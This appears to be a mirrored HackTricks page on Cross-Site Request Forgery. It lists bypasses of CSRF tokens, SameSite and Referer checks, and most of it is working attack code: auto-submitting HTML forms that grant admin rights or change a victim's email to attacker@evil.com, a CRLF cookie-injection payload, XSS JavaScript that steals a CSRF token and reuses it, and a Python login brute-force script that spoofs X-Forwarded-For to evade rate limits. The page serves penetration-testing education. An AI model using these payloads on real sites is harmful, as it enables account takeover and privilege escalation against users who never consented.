Documentation Index
Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
Use this file to discover all available pages before exploring further.
Cross-Site Request Forgery (CSRF) exploits a web application’s trust in an authenticated user’s browser. An attacker tricks a victim into sending a forged request using their active session.
Prerequisites for a CSRF Attack
- A valuable action — password change, email change, privilege escalation
- Cookie-only session management — session maintained via cookies or HTTP Basic Auth
- No unpredictable parameters — no unique tokens required
Defenses and Their Pitfalls
| Defense | Pitfall |
|---|
| CSRF tokens | Only validated when present; empty token may be accepted |
| SameSite=Lax | Still allows top-level cross-site navigations (form GETs) |
| Referer check | Bypass with meta name="referrer" content="never" or regex tricks |
| Custom headers | X-Requested-With can sometimes be spoofed |
Token Bypass Techniques
Missing Token Validation
# Remove the CSRF parameter entirely or send empty value
POST /admin/users/role HTTP/2
Content-Type: application/x-www-form-urlencoded
username=guest&role=admin&csrf=
<!-- Auto-submit PoC -->
<html><body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body></html>
Token Not Tied to User Session
If tokens are validated against a global pool:
- Authenticate with your own account
- Obtain a valid token from the pool
- Use that token in a CSRF attack against another victim
POST to GET Method Bypass
Some applications only validate CSRF on POST:
# Original POST (with token)
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"..."}]
# Bypass as GET (no token needed)
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{...}] HTTP/1.1
Method Override
# Use _method parameter to override HTTP method
POST /users/delete HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin&_method=DELETE
Override headers: X-HTTP-Method, X-HTTP-Method-Override, X-Method-Override
CSRF Token via Cookie (Double Submit)
If the token is in both cookie and request body, exploit CRLF injection to set the cookie:
<html><body>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body></html>
Referrer Bypass
<!-- Suppress Referer header -->
<meta name="referrer" content="never">
<!-- Include target domain in attacker URL query string -->
<script>
history.pushState("", "", "?victim-domain.com")
document.forms[0].submit()
</script>
PoC Templates
Stored CSRF via HTML Injection
<!-- Any user viewing this content performs the request automatically -->
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
Login CSRF + Stored XSS Chain
Force the victim to log into an attacker-controlled account, then navigate to a page with stored XSS:
<html><body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body></html>
Exfiltrating CSRF Tokens
If a CSRF token is in use, exfiltrate it via:
- XSS — make the victim’s browser read and send the token
- Dangling Markup — steal tokens from page attributes using
<img src="http://attacker.com/
// Steal token and make a POST
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("GET", "http://victim.com/profile", true);
xhr.onload = function() {
var token = this.responseText.match(/name="token" value="(.+)"/)[1];
var xhr2 = new XMLHttpRequest();
xhr2.withCredentials = true;
xhr2.open("POST", "http://victim.com/email/change", true);
xhr2.send("email=attacker@evil.com&token=" + token);
};
xhr.send();
CSRF Brute Force Script
import requests, re, random
URL = "http://10.10.10.191/admin/"
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
def get_csrf_and_cookie():
r = requests.get(URL)
csrf = re.search(r'name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text).group(1)
cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, cookie
def login(user, password):
csrf, cookie = get_csrf_and_cookie()
data = {"tokenCSRF": csrf, "username": user, "password": password}
headers = {"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.0.1"}
r = requests.post(URL, data=data,
cookies={SESSION_COOKIE_NAME: cookie},
headers=headers)
return "Username or password incorrect" not in r.text